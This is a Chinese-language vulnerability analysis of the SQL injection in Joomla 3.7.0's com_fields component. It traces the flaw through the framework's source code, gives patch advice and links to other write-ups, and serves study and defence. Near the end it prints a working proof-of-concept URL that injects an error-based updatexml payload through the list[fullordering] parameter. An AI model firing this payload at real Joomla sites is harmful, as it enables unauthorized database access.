在Joomla!3.7.0版本中新引入了一个组件“com_fields”,这个组件任何人都可以访问,无需登陆认证。但是由于程序员设计缺陷,从这个组建中导入了同名的后台管理员组件,而正好在这个后台的同名组建中由于对用户输入过滤不严格,导致严重SQL注入漏洞。
问题组件的位置是在\joomla3.7.0\components\com_fields\
,可以看出来是一个前台就可以访问到的组件,从该组件的控制器部分开始分析
class FieldsController extends JControllerLegacy
{
/**
* Constructor.
*
* @param array $config An optional associative array of configuration settings.
* Recognized key values include 'name', 'default_task', 'model_path', and
* 'view_path' (this list is not meant to be comprehensive).
*
* @since 3.7.0
*/
public function __construct($config = array())
{
$this->input = JFactory::getApplication()->input;
// Frontpage Editor Fields Button proxying:
if ($this->input->get('view') === 'fields' && $this->input->get('layout') === 'modal')
// 控制器设定访问该组件时要求获取到参数为view=fields,layout=modal
{
// Load the backend language file.
$lang = JFactory::getLanguage();
$lang->load('com_fields', JPATH_ADMINISTRATOR);
$config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
// 设置组件路径 \Joomla_3.7.0\administrator\components\
}
parent::__construct($config);
}
}
根据该组件的控制器if语句我们构造http://localhost/index.php?option=com_fields&view=fields&layout=modal
进行访问,随后注意到在设置$config[‘base_path’]时,路径设置成了\Joomla_3.7.0\administrator\components\
,这也就是原本一个后台的注入漏洞现在前台就可以利用了。
接着继续跟进parent::__construct($config);
查找注入点
\Joomla_3.7.0\libraries\legacy\controller\legacy.php
public function __construct($config = array())
{
$this->methods = array();
$this->message = null;
$this->messageType = 'message';
$this->paths = array();
$this->redirect = null;
$this->taskMap = array();
……
// Set a base path for use by the controller
if (array_key_exists('base_path', $config))
{
$this->basePath = $config['base_path'];
// 获取base_path的值
}
else
{
$this->basePath = JPATH_COMPONENT;
}
……
/ Set the default model search path
if (array_key_exists('model_path', $config))
{
// User-defined dirs
$this->addModelPath($config['model_path'], $this->model_prefix);
}
else
{
$this->addModelPath($this->basePath . '/models', $this->model_prefix);
// 加载路径下的模块
}
}
这里先获取base_path的值,然后在加载这个路径的模块。
然后进入\Joomla_3.7.0\components\com_fields\fields.php文件
JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');
$controller = JControllerLegacy::getInstance('Fields');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
进入execute()函数,\Joomla_3.7.0\libraries\legacy\controller\legacy.php
public function execute($task)
{
$this->task = $task;
$task = strtolower($task);
if (isset($this->taskMap[$task]))
{
$doTask = $this->taskMap[$task];
}
elseif (isset($this->taskMap['__default']))
{
$doTask = $this->taskMap['__default'];
}
else
{
throw new Exception(JText::sprintf('JLIB_APPLICATION_ERROR_TASK_NOT_FOUND', $task), 404);
}
// Record the actual task being fired
$this->doTask = $doTask;
return $this->$doTask(); // 相当于return $this->display()
}
这里$this->taskMap[‘__default’]的值就是display,所以不向task传参的话,会默认为display,当然设置task为display也可以
继续跟进display()函数
public function display($cachable = false, $urlparams = array())
{
$document = JFactory::getDocument();
$viewType = $document->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string');
$view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));
// Get/Create the model
if ($model = $this->getModel($viewName))
{
// Push the model into the view (as default)
$view->setModel($model, true);
}
$view->document = $document;
// Display the view
if ($cachable && $viewType != 'feed' && JFactory::getConfig()->get('caching') >= 1)
{
……
}
else
{
$view->display();
}
return $this;
}
这里的$viewName是取自于view,也就是fields,$viewtype为html,然后这里先调用getView函数取得视图,然后再调用了getModel获取对应的模型,返回一个model对象,接着再调用setModel函数将获取的model模型push到前面获取的view中去。
最后调用前面获取的view视图的display函数
文件\Joomla_3.7.0\administrator\components\com_fields\views\fields\view.html.php
public function display($tpl = null)
{
$this->state = $this->get('State');
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->filterForm = $this->get('FilterForm');
$this->activeFilters = $this->get('ActiveFilters');
……
}
第一步,跟进这里的get(‘State’),文件\Joomla_3.7.0\libraries\legacy\view\legacy.php
public function get($property, $default = null)
{
// If $model is null we use the default model
if (is_null($default))
{
$model = $this->_defaultModel;
}
else
{
$model = strtolower($default);
}
// First check to make sure the model requested exists
if (isset($this->_models[$model]))
{
// Model exists, let's build the method name
$method = 'get' . ucfirst($property);
// Does the method exist?
if (method_exists($this->_models[$model], $method))
{
// The method exists, let's call it and return what we get
$result = $this->_models[$model]->$method();
return $result;
}
}
这里我们的$property是我们传进的实参也就是’State’,那么拼接起来后的方法名$method就是getState方法,然后调用这个方法。
getState方法在文件\Joomla_3.7.0\libraries\legacy\model\legacy.php中
public function getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState();
// Set the model state set flag to true.
$this->__state_set = true;
}
return $property === null ? $this->state : $this->state->get($property, $default);
}
然后调用populateState方法,文件\Joomla_3.7.0\administrator\components\com_fields\models\fields.php
protected function populateState($ordering = null, $direction = null)
{
// List state information.
parent::populateState('a.ordering', 'asc'); // 调用父类方法
$context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content.article', 'CMD');
$this->setState('filter.context', $context);
// Split context into component and optional section
$parts = FieldsHelper::extract($context);
if ($parts)
{
$this->setState('filter.component', $parts[0]);
$this->setState('filter.section', $parts[1]);
}
}
在populateState方法中调用了父类的populateState方法,跟进
文件\Joomla_3.7.0\libraries\legacy\model\list.php
protected function populateState($ordering = null, $direction = null)
{
……
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Exclude if blacklisted
if (!in_array($name, $this->listBlacklist))
{
// Extra validations
switch ($name)
{
case 'fullordering':
$orderingParts = explode(' ', $value);
if (count($orderingParts) >= 2)
{
// Latest part will be considered the direction
$fullDirection = end($orderingParts);
if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
{
$this->setState('list.direction', $fullDirection);
}
unset($orderingParts[count($orderingParts) - 1]);
// The rest will be the ordering
$fullOrdering = implode(' ', $orderingParts);
if (in_array($fullOrdering, $this->filter_fields))
{
$this->setState('list.ordering', $fullOrdering);
}
}
else
{
$this->setState('list.ordering', $ordering);
$this->setState('list.direction', $direction);
}
break;
}
$this->setState('list.' . $name, $value);
}
}
}
从代码中可以看到,这里首先获取用户的输入内容赋值给list,然后变量list,然后当name等于fullordering的时候就对list[name]对应的value进行处理,这里对value进行了两次判断,如果条件成立就设置setState,但是这里两个条件都不成立,到最后统一来一次setState,问题就出在这里了,虽然前面各种判断有异常,但是到之后还是统一进行了setState。
到这里
第二步,使用同样的方法跟进这里的get(‘Items’),到文件\Joomla_3.7.0\libraries\legacy\model\list.php
public function getItems()
{
// Get a storage key.
$store = $this->getStoreId();
// Try to load the data from internal storage.
if (isset($this->cache[$store]))
{
return $this->cache[$store];
}
try
{
// Load the list items and add the items to the internal cache.
$this->cache[$store] = $this->_getList($this->_getListQuery(), $this->getStart(), $this->getState('list.limit'));
}
catch (RuntimeException $e)
{
$this->setError($e->getMessage());
return false;
}
return $this->cache[$store];
}
这里调用了当前类的_getListQuery函数
protected function _getListQuery()
{
// Capture the last store id used.
static $lastStoreId;
// Compute the current store id.
$currentStoreId = $this->getStoreId();
// If the last store id is different from the current, refresh the query.
if ($lastStoreId != $currentStoreId || empty($this->query))
{
$lastStoreId = $currentStoreId;
$this->query = $this->getListQuery();
}
return $this->query;
}
然后调用当前类的getListQuery方法
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
$user = JFactory::getUser();
$app = JFactory::getApplication();
……
// Add the list ordering clause
$listOrdering = $this->getState('list.fullordering', 'a.ordering');
$orderDirn = '';
if (empty($listOrdering))
{
$listOrdering = $this->state->get('list.ordering', 'a.ordering');
$orderDirn = $this->state->get('list.direction', 'DESC');
}
$query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));
return $query;
现获取我们输入的list.fullordering,也就是list[fullordering]的值,然后通过escape处理,再通过order构造返回要query。
Escape也就是通过函数mysqli_real_escape_string简单处理。
再看看order()干了什么,文件\Joomla_3.7.0\libraries\joomla\database\query.php
public function order($columns)
{
if (is_null($this->order))
{
$this->order = new JDatabaseQueryElement('ORDER BY', $columns);
}
else
{
$this->order->append($columns);
}
return $this;
}
可以看到也就是简单的赋值过程,没有什么过滤处理。所以上面的过程,我们输入的list[fullordering]的值就成功到这里的query了,最后被sql执行,导致了一个order by的sql注入漏洞。
可以看一下到这里$query的内容,传入的poc代码已成功拼接进入sql语句
这里附一张该漏洞的审计思路图,看起来比较复杂,但是表哥们配合本文调试一遍应该就都可以理解该漏洞了。
POC:
http://127.0.0.1/Joomla_3.7.0/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x3a,concat(1,(select md5(1))),1)
升级最新版完整安装包以及升级补丁包
https://downloads.joomla.org/cms/joomla3/3-7-1
在文件\Joomla_3.7.0\libraries\legacy\model\list.php中,处理fullordering的时候,当不满足条件时,添加else条件处理过程,使用系统默认的值进行查询
第一次进行PHP代码审计漏洞应急,感谢xfkxfk指导,文章大部分内容也来自xfkxfk的分析文章,这个Joomla注入漏洞在调试的时候也是很繁琐,但理清思路后还是挺佩服黑产哥的 :sweat_smile:
http://blog.nsfocus.net/joomlav3-7-core-components-log-sql-injection-vulnerabilities/
https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
[http://bobao.360.cn/learning/detail/3868.html